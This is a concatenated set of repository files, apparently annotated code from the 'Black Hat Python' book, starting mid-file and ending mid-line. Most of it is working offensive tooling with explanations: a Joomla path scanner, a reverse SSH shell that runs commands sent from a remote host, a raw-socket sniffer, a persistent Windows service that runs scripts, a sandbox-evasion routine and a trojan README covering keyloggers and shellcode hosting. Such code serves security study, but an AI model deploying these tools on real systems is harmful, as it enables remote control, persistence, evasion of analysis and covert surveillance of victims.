urllib.request.urlopen(request) 135 | print(f"[{response.code}] => {path}") # Print status 136 | response.close() 137 | except urllib.error.HTTPError as e: 138 | print(f"Failed for error {e}, {e.code}") # Handle HTTP errors 139 | ``` 140 | - **Constructs URLs** using the `target` and discovered `path` 141 | - **Sends HTTP requests** to check if the file exists 142 | - **Prints HTTP status codes** (e.g., `200 OK`, `404 Not Found`) 143 | - **Handles errors** gracefully (e.g., `403 Forbidden`, `404 Not Found`) 144 | 145 | --- 146 | 147 | ### **5️⃣ Launch Multi-threaded Scanner** 148 | ```python 149 | for thread in range(threads): 150 | print(f"Spawning thread: {thread}") 151 | t = threading.Thread(target=test_remote) 152 | t.start() 153 | ``` 154 | - **Starts `10` threads** (default) for parallel scanning 155 | - **Each thread runs `test_remote()`**, reducing scan time 156 | 157 | --- 158 | 159 | ## **🚀 How to Run the Script** 160 | ### **📌 Prerequisites** 161 | Ensure you have **Python 3.x** installed. 162 | 163 | ### **📌 Update Configuration** 164 | - Set `target` to the website you want to scan 165 | - Update `directory` with the path to your **local Joomla copy** 166 | 167 | ### **📌 Run the Script** 168 | ```bash 169 | python script.py 170 | ``` 171 | 172 | --- 173 | 174 | ## **🎯 Example Output** 175 | ```bash 176 | Spawning thread: 0 177 | Spawning thread: 1 178 | Spawning thread: 2 179 | ... 180 | [200] => /index.php 181 | [200] => /administrator/index.php 182 | [403] => /config.php 183 | [404] => /secret-folder/ 184 | ``` 185 | - `200 OK` → File exists on the target site ✅ 186 | - `403 Forbidden` → File exists but is **restricted** 🔒 187 | - `404 Not Found` → File **does not exist** ❌ 188 | 189 | --- 190 | 191 | ## **🎭 Summary** 192 | ✔ Uses **local Joomla files** to find hidden web paths 193 | ✔ **Multi-threaded** for fast scanning 194 | ✔ Handles **HTTP errors** (403, 404, etc.) 195 | ✔ Ignores **unimportant files** 196 | 197 | This script is useful for **penetration testing** & **security audits** to detect **unprotected files** on a website. 198 | 199 | -------------------------------------------------------------------------------- /Python Tools/Networking/bhp_reverse_ssh_cmd.md: -------------------------------------------------------------------------------- 1 | 2 | ```python 3 | import subprocess 4 | import paramiko 5 | 6 | # Function to establish an SSH connection and execute commands 7 | def ssh_command(ip, user, passwd, command): 8 | client = paramiko.SSHClient() # Create an SSHClient instance 9 | # client can also support using key files 10 | # client.load_host_keys("/home/user/.ssh/known_host") # Uncomment to load known host keys for validation 11 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # Automatically add the server's host key if not found 12 | client.connect(ip, username=user, password=passwd) # Connect to the SSH server using provided credentials 13 | 14 | # Open a session over the established SSH transport 15 | ssh_session = client.get_transport().open_session() 16 | 17 | if ssh_session.active: # Check if the SSH session is active 18 | # Send the initial command ("ClientConnected") to the SSH server 19 | ssh_session.send(command) 20 | 21 | # Print the server's response (initial banner or greeting message) 22 | print(ssh_session.recv(1024)) # Read the first 1024 bytes from the server's response 23 | 24 | while True: 25 | # Wait for further commands from the SSH server 26 | command = ssh_session.recv(1024) # Receive command from the server 27 | try: 28 | # Execute the received command locally using subprocess 29 | cmd_output = subprocess.check_output(command.decode(), shell=True) 30 | # Send back the command output to the SSH server 31 | ssh_session.send(cmd_output) 32 | except Exception as e: 33 | # In case of an error, send the error message back to the SSH server 34 | ssh_session.send(str(e)) 35 | 36 | client.close() # Close the SSH connection after finishing 37 | return 38 | 39 | # Call the function with the IP address, username, password, and initial command 40 | ssh_command("192.168.100.130", "justin", "lovesthepython", "ClientConnected") 41 | ``` 42 | 43 | ### Explanation: 44 | 1. **Importing Modules:** 45 | - `subprocess`: Allows running shell commands and retrieving the output. 46 | - `paramiko`: Provides the functionality to create SSH connections and interact with remote systems. 47 | 48 | 2. **ssh_command Function:** 49 | - Takes four arguments: `ip` (IP address of the remote host), `user` (username for SSH login), `passwd` (password), and `command` (initial command to send upon connection). 50 | 51 | 3. **SSHClient Setup:** 52 | - `client = paramiko.SSHClient()`: Creates an instance of `SSHClient` to manage the SSH connection. 53 | - `client.set_missing_host_key_policy(paramiko.AutoAddPolicy())`: Automatically accepts the server’s host key if it is not already known. 54 | - `client.connect(ip, username=user, password=passwd)`: Connects to the remote server using the provided IP, username, and password. 55 | 56 | 4. **Opening an SSH Session:** 57 | - `ssh_session = client.get_transport().open_session()`: Opens an interactive session over the established SSH transport. 58 | 59 | 5. **Sending and Receiving Data:** 60 | - `ssh_session.send(command)`: Sends the initial command (`"ClientConnected"`) to the remote server. 61 | - `print(ssh_session.recv(1024))`: Prints the server’s initial response (banner or greeting message). 62 | 63 | 6. **Continuous Command Execution:** 64 | - The while loop waits for commands from the SSH server, processes them using `subprocess.check_output()` to execute the received command locally, and sends the output back to the server. 65 | - If an error occurs while running the command, the exception message is sent back. 66 | 67 | 7. **Closing the Connection:** 68 | - `client.close()`: Closes the SSH connection after the operations are completed. 69 | 70 | ### Key Points: 71 | - The code establishes an SSH connection to a remote host and sends/receives commands and responses interactively. 72 | - The `subprocess.check_output()` method is used to run system commands locally based on the commands received from the server. 73 | - This setup works as a simple SSH server (although it requires an active session to work continuously). 74 | -------------------------------------------------------------------------------- /Python Tools/Networking/packet sniffer using raw sockets.md: -------------------------------------------------------------------------------- 1 | # A simple packet sniffer using raw sockets 2 | 3 | This Python script demonstrates how to create a simple **packet sniffer** using raw sockets. The script captures a single packet from the network interface and prints its contents. Below is a detailed explanation of the code, along with comments and instructions on how to run it. 4 | 5 | 6 | 7 | ```python 8 | 9 | import socket 10 | import os 11 | 12 | # host to listen on 13 | host = "192.168.0.196" 14 | 15 | # create a raw socket and bind it to the public interface 16 | if os.name == "nt": 17 | socket_protocol = socket.IPPROTO_IP # windows OS 18 | else: 19 | socket_protocol = socket.IPPROTO_ICMP # unix OS 20 | 21 | sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) 22 | 23 | # i had trouble with my VM here following along the lesson of the book 24 | # sniffer.bind((host, 0)) 25 | # so I was able to made it working forwarding to this port 26 | sniffer.bind(("0.0.0.0", 6677)) 27 | 28 | # keep IP headers in the capture 29 | sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 30 | 31 | # if we're on Windows we need to send IOCTL to send promiscuos mode 32 | if os.name == "nt": 33 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) 34 | 35 | # read in a single packet 36 | print(sniffer.recvfrom(65535)) #the book has a typo here, stating 65565 37 | 38 | # turn off promiscuos mode if it has been activated 39 | if os.name == "nt": 40 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) 41 | ``` 42 | 43 | 44 | --- 45 | 46 | ### Code Explanation 47 | 48 | #### Imports and Configuration 49 | ```python 50 | import socket # For creating and managing network sockets 51 | import os # For OS-related functions 52 | 53 | # Host to listen on (change this to your machine's IP address) 54 | host = "192.168.0.196" 55 | ``` 56 | 57 | #### Create a Raw Socket 58 | The script creates a raw socket, which allows capturing packets at a low level (including headers). 59 | 60 | ```python 61 | # Determine the protocol based on the OS 62 | if os.name == "nt": # Windows 63 | socket_protocol = socket.IPPROTO_IP # Capture all IP packets 64 | else: # Unix-like systems (Linux, macOS, etc.) 65 | socket_protocol = socket.IPPROTO_ICMP # Capture ICMP packets only 66 | 67 | # Create a raw socket 68 | sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) 69 | ``` 70 | 71 | #### Bind the Socket 72 | The socket is bound to a specific IP address and port. If binding to the host IP fails, the script binds to all interfaces (`0.0.0.0`) on port `6677`. 73 | 74 | --- 75 | 76 | ### How the Code Works 77 | 78 | 1. **Create a Raw Socket**: 79 | - A raw socket is created to capture packets at a low level. 80 | - The protocol is set to `IPPROTO_IP` on Windows (to capture all IP packets) or `IPPROTO_ICMP` on Unix-like systems (to capture ICMP packets only). 81 | 82 | 2. **Bind the Socket**: 83 | - The socket is bound to a specific IP address and port. If binding fails, it defaults to all interfaces (`0.0.0.0`) on port `6677`. 84 | 85 | 3. **Include IP Headers**: 86 | - The `IP_HDRINCL` option ensures that IP headers are included in the captured packets. 87 | 88 | 4. **Enable Promiscuous Mode (Windows)**: 89 | - On Windows, promiscuous mode is enabled to capture all packets on the network. 90 | 91 | 5. **Capture a Packet**: 92 | - The script captures a single packet and prints its contents. 93 | 94 | 6. **Disable Promiscuous Mode (Windows)**: 95 | - After capturing the packet, promiscuous mode is disabled on Windows. 96 | 97 | --- 98 | 99 | ### How to Run the Code 100 | 101 | 1. **Install Python**: 102 | - Ensure Python is installed on your system. You can download it from [python.org](https://www.python.org/). 103 | 104 | 2. **Run the Script**: 105 | - Save the script to a file, e.g., `packet_sniffer.py`. 106 | - Run the script with administrative privileges (required for raw socket access): 107 | ```bash 108 | sudo python packet_sniffer.py # On Unix-like systems 109 | python packet_sniffer.py # On Windows (run as Administrator) 110 | ``` 111 | 112 | 3. **Observe the Output**: 113 | - The script will capture a single packet and print its raw contents, including the IP headers. 114 | 115 | --- 116 | 117 | ### Notes 118 | 119 | - **Permissions**: Raw socket operations require administrative privileges. On Unix-like systems, use `sudo`. On Windows, run the script as an Administrator. 120 | - **OS Differences**: 121 | - On Windows, the script captures all IP packets. 122 | - On Unix-like systems, the script captures only ICMP packets by default. 123 | - **Promiscuous Mode**: Promiscuous mode is only enabled on Windows. On Unix-like systems, you may need additional tools (e.g., `tcpdump`) to capture all packets. 124 | - **Port Binding**: The script binds to port `6677` as a workaround. You can modify this to bind to a different port or interface. 125 | 126 | --- 127 | -------------------------------------------------------------------------------- /Python Tools/Trojaning Tasks on Windows/Code Injection.md: -------------------------------------------------------------------------------- 1 | # Code Injection 2 | 3 | This script implements a Windows service that periodically executes a VBS script at regular intervals. It uses the `pywin32` library to interact with Windows services and manage the service lifecycle. 4 | 5 | - [bhservice_task.vbs.txt](https://github.com/aw-junaid/Black-Hat-Python/blob/main/Python%20Tools/Trojaning%20Tasks%20on%20Windows/bhservice_task.vbs.txt) 6 | 7 | ```python 8 | import os 9 | import servicemanager 10 | import shutil 11 | import subprocess 12 | import sys 13 | 14 | import win32event 15 | import win32service 16 | import win32serviceutil 17 | 18 | SRCDIR = 'C:\\Users\\tim\\work' 19 | TGTDIR = 'C:\\Windows\\TEMP' 20 | 21 | class BHServerSvc(win32serviceutil.ServiceFramework): 22 | _svc_name_ = "BlackHatService" 23 | _svc_display_name_ = "Black Hat Service" 24 | _svc_description_ = ("Executes VBScripts at regular intervals." + 25 | " What could possibly go wrong?") 26 | 27 | def __init__(self, args): 28 | self.vbs = os.path.join(TGTDIR, 'bhservice_task.vbs') 29 | self.timeout = 1000 * 60 30 | 31 | win32serviceutil.ServiceFramework.__init__(self, args) 32 | self.hWaitStop = win32event.CreateEvent(None, 0, 0, None) 33 | 34 | def SvcStop(self): 35 | self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING) 36 | win32event.SetEvent(self.hWaitStop) 37 | 38 | def SvcDoRun(self): 39 | self.ReportServiceStatus(win32service.SERVICE_RUNNING) 40 | self.main() 41 | 42 | def main(self): 43 | while True: 44 | ret_code = win32event.WaitForSingleObject(self.hWaitStop, self.timeout) 45 | if ret_code == win32event.WAIT_OBJECT_0: 46 | servicemanager.LogInfoMsg("Service is stopping") 47 | break 48 | 49 | src = os.path.join(SRCDIR, 'bhservice_task.vbs') 50 | shutil.copy(src, self.vbs) 51 | subprocess.call("cscript.exe %s" % self.vbs, shell=False) 52 | os.unlink(self.vbs) 53 | 54 | if __name__ == '__main__': 55 | if len(sys.argv) == 1: 56 | servicemanager.Initialize() 57 | servicemanager.PrepareToHostSingle(BHServerSvc) 58 | servicemanager.StartServiceCtrlDispatcher() 59 | else: 60 | win32serviceutil.HandleCommandLine(BHServerSvc) 61 | 62 | ``` 63 | 64 | 65 | This script implements a Windows service that periodically executes a VBS script at regular intervals. It uses the `pywin32` library to interact with Windows services and manage the service lifecycle. 66 | 67 | The script is structured as a Windows service, which performs the following tasks: 68 | 69 | 1. **Initialization**: It defines the service and its properties, including the service name, display name, and description. 70 | 2. **Service Control**: The service can be started and stopped using standard Windows service commands. 71 | 3. **Periodic Task Execution**: The service regularly copies a VBS file from a source directory to the Windows TEMP directory and executes it using `cscript.exe`. 72 | 73 | ### Key Components: 74 | 75 | 1. **Global Constants**: 76 | - `SRCDIR`: The source directory where the VBS script (`bhservice_task.vbs`) is located. 77 | - `TGTDIR`: The target directory where the VBS script is copied to (in this case, `C:\\Windows\\TEMP`). 78 | 79 | 2. **BHServerSvc Class**: 80 | - Inherits from `win32serviceutil.ServiceFramework`. 81 | - **`_svc_name_`**: The name of the service (`BlackHatService`). 82 | - **`_svc_display_name_`**: The display name for the service (`Black Hat Service`). 83 | - **`_svc_description_`**: A description of the service, which states it executes VBScripts at regular intervals. 84 | 85 | 3. **Service Lifecycle Management**: 86 | - **`__init__(self, args)`**: Initializes the service, including setting up the VBS file path and the timeout for the service's main loop. 87 | - **`SvcStop(self)`**: Stops the service by signaling that it is in a stop pending state. 88 | - **`SvcDoRun(self)`**: Runs the main service loop, starting the periodic execution of the VBS script. 89 | - **`main(self)`**: Contains the loop that handles the periodic execution. It: 90 | - Copies the VBS script from the source directory to the TEMP directory. 91 | - Executes the VBS script using `cscript.exe`. 92 | - Deletes the VBS script from the TEMP directory after execution. 93 | - Repeats the process every `timeout` (set to 60 seconds here). 94 | 95 | 4. **Service Control**: 96 | - The `if __name__ == '__main__':` block ensures the service is started and can be managed using Windows service commands like `start`, `stop`, `restart`. 97 | 98 | ### How It Works: 99 | - The service runs in the background and executes the specified VBS file (`bhservice_task.vbs`) at regular intervals (every 60 seconds by default). 100 | - The VBS file is copied from the source directory (`SRCDIR`) to the target directory (`TGTDIR`), executed, and then deleted. 101 | - The `cscript.exe` utility is used to run the VBS script silently from the command line. 102 | 103 | ### How to Run the Script: 104 | 105 | 1. **Install Required Libraries**: 106 | - Make sure you have the `pywin32` library installed, as it provides the necessary modules to work with Windows services. 107 | ```bash 108 | pip install pywin32 109 | ``` 110 | 111 | 2. **Setting Up the Service**: 112 | - Save the script as `bhserver_service.py` (or any preferred name). 113 | - Ensure the VBS script (`bhservice_task.vbs`) is located in the source directory (`C:\\Users\\tim\\work`). 114 | 115 | 3. **Running the Script**: 116 | - Open Command Prompt with **administrator rights**. 117 | - To install the service, run: 118 | ```bash 119 | python bhserver_service.py install 120 | ``` 121 | - To start the service, run: 122 | ```bash 123 | python bhserver_service.py start 124 | ``` 125 | 126 | 4. **Stopping the Service**: 127 | - To stop the service, run: 128 | ```bash 129 | python bhserver_service.py stop 130 | ``` 131 | 132 | 5. **Uninstalling the Service**: 133 | - To remove the service, run: 134 | ```bash 135 | python bhserver_service.py remove 136 | ``` 137 | 138 | ### Important Notes: 139 | - **Security Warning**: The name "BlackHatService" and the functionality of executing potentially harmful scripts periodically suggests this script could be used for malicious purposes. It is strongly advised to not use this in any unauthorized or non-testing environments. It should only be used in a controlled, legal environment for educational or ethical penetration testing purposes. 140 | - **Permissions**: The script requires elevated privileges (administrator rights) to install, start, stop, or uninstall Windows services. 141 | - **VBS File**: Ensure the VBS file (`bhservice_task.vbs`) is safe and intended for testing or educational purposes. 142 | -------------------------------------------------------------------------------- /Python Tools/Trojaning Tasks on Windows/Monitor processes on a Windows system.md: -------------------------------------------------------------------------------- 1 | Monitor processes on a Windows system, capturing details about their creation, ownership, privileges, and other process-related information. It writes the captured information to a CSV log file: 2 | 3 | 4 | ```python 5 | import win32con 6 | import win32api 7 | import win32security 8 | import wmi 9 | import os 10 | 11 | LOG_FILE = "process_monitor_log.csv" 12 | 13 | def get_process_privileges(pid): 14 | try: 15 | # obtain a handle to the target process 16 | hproc = win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION, 17 | False, 18 | pid) 19 | 20 | # open main process token 21 | htok = win32security.OpenProcessToken(hproc, win32con.TOKEN_QUERY) 22 | 23 | # retrieve the list of privileges enabled 24 | privs = win32security.GetTokenInformation(htok, win32security.TokenPrivileges) 25 | 26 | # iterate over privileges and output the ones that are enabled 27 | priv_list = [] 28 | for priv_id, priv_flags in privs: 29 | # check if privilege is enabled 30 | if priv_flags == 3: 31 | priv_list.append(win32security.LookupPrivilegeName(None, priv_id)) 32 | 33 | except: 34 | priv_list.append("N/A") 35 | 36 | return "|".join(priv_list) 37 | 38 | def log_to_file(message): 39 | with open(LOG_FILE, "ab") as fd: 40 | fd.write(f"{message}\r\n") 41 | return 42 | 43 | # create a log file header 44 | if not os.path.isfile(LOG_FILE): 45 | log_to_file("Time,User,Executable,CommandLine,PID,ParentPID,Privileges") 46 | 47 | # instantiate the WMI interface 48 | c = wmi.WMI() 49 | 50 | # create our process monitor 51 | process_watcher = c.Win32_Process.watch_for("creation") 52 | 53 | while True: 54 | try: 55 | new_process = process_watcher() 56 | proc_owner = new_process.GetOwner() 57 | proc_owner = f"{proc_owner[0]}\\{proc_owner[2]}" 58 | create_date = new_process.CreationDate 59 | executable = new_process.ExecutablePath 60 | cmdline = new_process.CommandLine 61 | pid = new_process.ProcessId 62 | parent_pid = new_process.ParentProcessId 63 | 64 | privileges = get_process_privileges(pid) 65 | 66 | process_log_message = f"{create_date}, {proc_owner}, {executable}, {cmdline}, {pid}, {parent_pid}, {privileges}." 67 | 68 | print(f"{process_log_message}\r\n") 69 | 70 | log_to_file(process_log_message) 71 | except: 72 | pass 73 | ``` 74 | 75 | 76 | This code is designed to monitor processes on a Windows system, capturing details about their creation, ownership, privileges, and other process-related information. It writes the captured information to a CSV log file. Below is an explanation of each section and how to run the code: 77 | 78 | ### Breakdown: 79 | 1. **Imports:** 80 | - `win32con`: Contains constants used in the Win32 API, such as process access levels. 81 | - `win32api`: Provides functions for interacting with Windows APIs. 82 | - `win32security`: Allows interaction with security and permissions of processes. 83 | - `wmi`: Provides access to Windows Management Instrumentation (WMI) for querying system processes and events. 84 | - `os`: Used for checking the existence of the log file. 85 | 86 | 2. **Global Constants:** 87 | - `LOG_FILE`: Path to the CSV file where logs will be written. Default is `"process_monitor_log.csv"`. 88 | 89 | 3. **Function Definitions:** 90 | - **`get_process_privileges(pid)`**: 91 | - Retrieves the privileges of a process given its `pid`. 92 | - Opens a process handle, retrieves its security token, and checks the privileges. 93 | - Returns a string of enabled privileges separated by a pipe (`|`), or "N/A" if no privileges can be retrieved. 94 | 95 | - **`log_to_file(message)`**: 96 | - Writes the provided `message` to the log file in append mode. 97 | 98 | 4. **Log File Header:** 99 | - Before starting the monitoring, the script checks if the log file exists. If not, it creates the file and writes a header with the columns: `Time`, `User`, `Executable`, `CommandLine`, `PID`, `ParentPID`, and `Privileges`. 100 | 101 | 5. **WMI Interface and Process Monitoring:** 102 | - Uses the WMI interface to monitor processes on the system. 103 | - `process_watcher = c.Win32_Process.watch_for("creation")`: Listens for new processes being created. 104 | - In the loop, it retrieves the details of each newly created process, such as: 105 | - **Owner**: The user account that started the process. 106 | - **Creation Date**: The timestamp when the process was created. 107 | - **Executable Path**: The path of the executable that started the process. 108 | - **Command Line**: The full command used to launch the process. 109 | - **PID and Parent PID**: The process ID and the PID of its parent process. 110 | - **Privileges**: The process's privileges (using `get_process_privileges` function). 111 | 112 | 6. **Logging and Output:** 113 | - It prints and writes the details of each new process to the log file in CSV format. Each log entry contains the process's creation date, user, executable path, command line, PID, parent PID, and privileges. 114 | 115 | ### How to Run: 116 | 117 | 1. **Install Required Libraries:** 118 | - Install the required Python libraries: 119 | ```bash 120 | pip install pywin32 wmi 121 | ``` 122 | 123 | 2. **Permissions:** 124 | - This script requires administrative privileges to query process privileges, so make sure to run it with elevated permissions. 125 | 126 | 3. **Run the Script:** 127 | - Save the code to a Python script (e.g., `process_monitor.py`). 128 | - Open a Command Prompt or PowerShell window with administrator rights. 129 | - Run the script: 130 | ```bash 131 | python process_monitor.py 132 | ``` 133 | - It will start monitoring for new processes and log the relevant details to `process_monitor_log.csv`. 134 | 135 | ### Example Output (in CSV format): 136 | ``` 137 | Time,User,Executable,CommandLine,PID,ParentPID,Privileges 138 | 2025-02-06T12:34:56,DOMAIN\user,C:\Program Files\example\app.exe,"app.exe -flag",1234,5678,SeDebugPrivilege|SeBackupPrivilege 139 | ``` 140 | 141 | ### Notes: 142 | - The script continuously runs, watching for new processes being created. It will log all new processes' information as long as it is running. 143 | - The CSV file will grow over time with logged process data. 144 | -------------------------------------------------------------------------------- /Python Tools/Trojaning Tasks on Windows/README.md: -------------------------------------------------------------------------------- 1 | **When you deploy a trojan, you want to perform a few 2 | common tasks: grab keystrokes, take screenshots, and 3 | execute shellcode to provide an interactive session to 4 | tools like CANVAS or Metasploit. We’ll wrap things up with some sandbox detection techniques to determine if we are running within an antivirus or forensics sandbox. These 5 | modules will be easy to modify and will work within our trojan framework. 6 | We’ll explore man-in-the-browser-style attacks and privilege escalation techniques that you can deploy with your trojan. Each technique comes with its own challenges and probability of being caught by the 7 | end user or an antivirus solution.** 8 | 9 | 10 | ### Notes for the reader 11 | 12 | #### keylogger.py 13 | This script requires `pyHook` library, that is not compatible with newer versions of Python. 14 | 15 | Check for details (and, in the case, updated answers on Stack Overflow - pyHook issues.)
16 | 17 | You have two ways ahead: 18 | - Search for a wheel file appropriate for the Python version you are running here https://www.lfd.uci.edu/~gohlke/pythonlibs/#pyhook 19 | - Use pyWinhook, a pyHook fork with some updates for support latest Visual Studio compilers.
20 | Two methods here:
21 | ____ a) `pip install pyWinhook==1.6.2`
22 | ____ b) `python -m pip install pyWinhook-1.6.2-cp38-cp38-win_amd64.whl`

23 | 24 | I would like to switch to `keyboard` module in order to bypass all this mess, but at the moment I am not able to reproduce the exact workflow offered by the book without going thru pyHook.

25 | 26 | ps. if the topic is of your interest, check my keylogger for Power Shell here: https://gist.github.com/carloocchiena/316234e45f67ca63f07620e15e7dfaef 27 | 28 | #### shell_exec.py 29 | Be carefull to base64 encode your raw shellcode script before hosting it on localhost
30 | Store the raw shellcode in /tmp/shellcode.raw
31 | then run (on your linux shell):
32 | `user$ base64 -i shellcode.raw >`
33 | `shellcode.bin`
34 | `user$ python -m http.server 8000`
35 | 36 | #### screenshotter.py 37 | - the win32 import issues solved thanks to this answer: https://stackoverflow.com/questions/44063350/python-no-module-named-win32gui-after-installing-pywin32?rq=1 38 | 39 | 40 | 41 | - The bhservice folder contains material provided by the book for testing purpose. At the moment of writing the link provided by the author was not working but I managed to find it online. 42 | - `file_monitor.py` was, accordingly to book notes, inspired by http://timgolden.me.uk/python/win32_how_do_i/watch_directory_for_changes.html 43 | - `PyMI` provides a Python native module wrapper over the Windows Management Infrastructure (MI) API. It includes also a drop-in replacement for the Python WMI module used in the book, proving much faster execution times and no dependency on pywin32. Get it with `pip install PyMI`. 44 | - Had some issues with `import wmi`. You may check here: https://stackoverflow.com/questions/20654047/cant-import-wmi-python-module 45 | - Testing for this chapter is not finished. I am surely able to grab the process in `file_monitor.py` but had not yet successfully tested an injection. 46 | - Let me say that, after going thru 90% of the book, the author offer just zero advice on even most common issues and troubleshooting. 47 | -------------------------------------------------------------------------------- /Python Tools/Trojaning Tasks on Windows/Sandbox Detection.md: -------------------------------------------------------------------------------- 1 | # Sandbox Detection Script 2 | 3 | This script is designed to detect whether it's running inside a sandbox environment by monitoring user input events (keyboard and mouse). If it doesn't detect normal user behavior (like keystrokes or mouse clicks), it may indicate the code is running in a controlled or virtual environment (a sandbox). Here's a breakdown of how the code works: 4 | 5 | #### Libraries Used: 6 | - **`ctypes`**: Allows interaction with Windows APIs to check user input and system time. 7 | - **`random`**: Used to generate random values for thresholds. 8 | - **`time`**: Handles time-related operations, like checking how long since the last user input. 9 | - **`sys`**: Provides system-specific parameters and functions, such as exiting the program. 10 | 11 | #### Key Functions and Classes: 12 | 13 | 1. **`LastInputInfo` (ctypes.Structure)**: This structure is used to retrieve the time of the last user input (keyboard or mouse). 14 | 15 | 2. **`get_last_input()`**: This function calls the Windows API to determine the time of the last input event and calculates the elapsed time since then. If the machine hasn't received input in a while, it might be running in a sandbox. 16 | 17 | 3. **`get_key_press()`**: Monitors keyboard and mouse input. If a key is pressed or a mouse click is detected, it updates the counters (`keystrokes`, `mouse_clicks`). A left mouse click triggers a timestamp for further analysis. 18 | 19 | 4. **`detect_sandbox()`**: This function monitors user input in a loop, counting keystrokes, mouse clicks, and double-clicks. It checks whether the behavior is consistent with a normal user or if it's too automated, which may indicate the script is running in a sandbox. 20 | 21 | - **Detection Conditions**: 22 | - It ensures there is a reasonable amount of user input (keystrokes, mouse clicks, and double-clicks). 23 | - If there is insufficient input (i.e., all thresholds are exceeded), the script exits. 24 | - The script can exit early if the time since the last input exceeds a certain threshold (indicating inactivity). 25 | 26 | 5. **Exit Conditions**: 27 | - If a certain number of keystrokes, mouse clicks, and double-clicks are not reached, the script assumes it is not in a sandbox and terminates with `sys.exit()`. 28 | - If the system has been inactive for a long time (`max_input_threshold`), it also exits. 29 | 30 | #### How to Run: 31 | 32 | To run this script: 33 | 34 | 1. Ensure you have a Python environment set up. 35 | 2. Save the script to a file, e.g., `sandbox_detector.py`. 36 | 3. Run the script using Python from the command line or an IDE: 37 | ```bash 38 | python sandbox_detector.py 39 | ``` 40 | 41 | If the script detects enough user input, it will print "We are ok!" and finish running. If it doesn't detect the behavior of a typical user, it will exit early. 42 | 43 | ### Code: 44 | 45 | ```python 46 | import ctypes 47 | import random 48 | import time 49 | import sys 50 | 51 | # Windows API handles 52 | user32 = ctypes.windll.user32 53 | kernel32 = ctypes.windll.kernel32 54 | 55 | # Input counters 56 | keystrokes = 0 57 | mouse_clicks = 0 58 | double_clicks = 0 59 | 60 | # Structure for getting last input info from the system 61 | class LastInputInfo(ctypes.Structure): 62 | _fields_ = [("cbSize", ctypes.c_uint), ("dwTime", ctypes.c_ulong)] 63 | 64 | # Function to get the time of the last input 65 | def get_last_input(): 66 | struct_lastinputinfo = LastInputInfo() 67 | struct_lastinputinfo.cbSize = ctypes.sizeof(LastInputInfo) 68 | 69 | # Get last input registered 70 | user32.GetLastInputInfo(ctypes.byref(struct_lastinputinfo)) 71 | 72 | # Determine how long the machine has been running 73 | run_time = kernel32.GetTickCount() 74 | elapsed = run_time - struct_lastinputinfo.dwTime 75 | print(f"[*] It's been {elapsed} milliseconds since the last input event") 76 | return elapsed 77 | 78 | # Function to check for key presses and mouse clicks 79 | def get_key_press(): 80 | global mouse_clicks 81 | global keystrokes 82 | 83 | # Loop through all possible virtual keys (0-255) 84 | for code in range(0, 0xff): 85 | if user32.GetAsyncKeyState(code) == -32767: 86 | # 0x1 is the code for left mouse click 87 | if code == 1: 88 | mouse_clicks += 1 89 | return time.time() 90 | else: 91 | keystrokes += 1 92 | return None 93 | 94 | # Function to detect if the script is running in a sandbox environment 95 | def detect_sandbox(): 96 | global mouse_clicks 97 | global keystrokes 98 | 99 | # Randomize max keystrokes and mouse clicks thresholds 100 | max_keystrokes = random.randint(10, 25) 101 | max_mouse_clicks = random.randint(5, 25) 102 | 103 | # Double-click detection variables 104 | double_clicks = 0 105 | max_double_clicks = 10 106 | double_clicks_threshold = 0.250 107 | first_double_click = None 108 | 109 | average_mousetime = 0 # Variable never used but defined 110 | 111 | max_input_threshold = 30000 # Threshold for maximum input inactivity 112 | 113 | previous_timestamp = None 114 | detection_complete = False 115 | 116 | last_input = get_last_input() 117 | 118 | # Exit early if we hit our inactivity threshold 119 | if last_input >= max_input_threshold: 120 | sys.exit() 121 | 122 | # Loop until detection is complete 123 | while not detection_complete: 124 | keypress_time = get_key_press() 125 | if keypress_time is not None and previous_timestamp is not None: 126 | 127 | # Calculate the time between double clicks 128 | elapsed = keypress_time - previous_timestamp 129 | 130 | # If a double-click occurred 131 | if elapsed <= double_clicks_threshold: 132 | double_clicks += 1 133 | 134 | if first_double_click is None: 135 | first_double_click = time.time() 136 | else: 137 | # If a rapid succession of double-clicks occurred 138 | if double_clicks == max_double_clicks: 139 | if keypress_time - first_double_click <= (max_double_clicks * double_clicks_threshold): 140 | sys.exit() 141 | 142 | # If enough user input is detected, we stop 143 | if keystrokes >= max_keystrokes and double_clicks >= max_double_clicks and mouse_clicks >= max_mouse_clicks: 144 | return 145 | previous_timestamp = keypress_time 146 | 147 | elif keypress_time is not None: 148 | previous_timestamp = keypress_time 149 | 150 | # Call the sandbox detection function 151 | detect_sandbox() 152 | print("We are ok!") 153 | ``` 154 | 155 | ### Key Points: 156 | - The script checks for user activity (mouse clicks, keystrokes) to decide if it's being run in a sandbox. 157 | - If no normal user behavior is detected within the specified thresholds, it exits. 158 | - It uses a combination of system time, user input monitoring, and randomness to determine whether it's in a typical environment. 159 | 160 | 161 | -------------------------------------------------------------------------------- /Python Tools/Trojaning Tasks on Windows/bhservice_task.vbs.txt: -------------------------------------------------------------------------------- 1 | ' Adapted from: 2 | ' http://gallery.technet.microsoft.com/scriptcenter/03f21031-07de-4a26-9a04-4871cd425870 3 | On Error Resume Next 4 | Dim fso 5 | Set fso = WScript.CreateObject("Scripting.Filesystemobject") 6 | Set f = fso.OpenTextFile("C:\windows\temp\bhpoutput.txt", 2) 7 | strComputer = "." 8 | Set objWMIService = GetObject("winmgmts:" _ 9 | & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2") 10 | 11 | Set colSettings = objWMIService.ExecQuery _ 12 | ("Select * from Win32_OperatingSystem") 13 | 14 | For Each objOperatingSystem in colSettings 15 | f.WriteLine "OS Name: " & objOperatingSystem.Name & vbCrLf 16 | f.WriteLine "Version: " & objOperatingSystem.Version & vbCrLf 17 | f.WriteLine "Service Pack: " & _ 18 | objOperatingSystem.ServicePackMajorVersion _ 19 | & "." & objOperatingSystem.ServicePackMinorVersion & vbCrLf 20 | f.WriteLine "OS Manufacturer: " & objOperatingSystem.Manufacturer & vbCrLf 21 | f.WriteLine "Windows Directory: " & _ 22 | objOperatingSystem.WindowsDirectory & vbCrLf 23 | f.WriteLine "Locale: " & 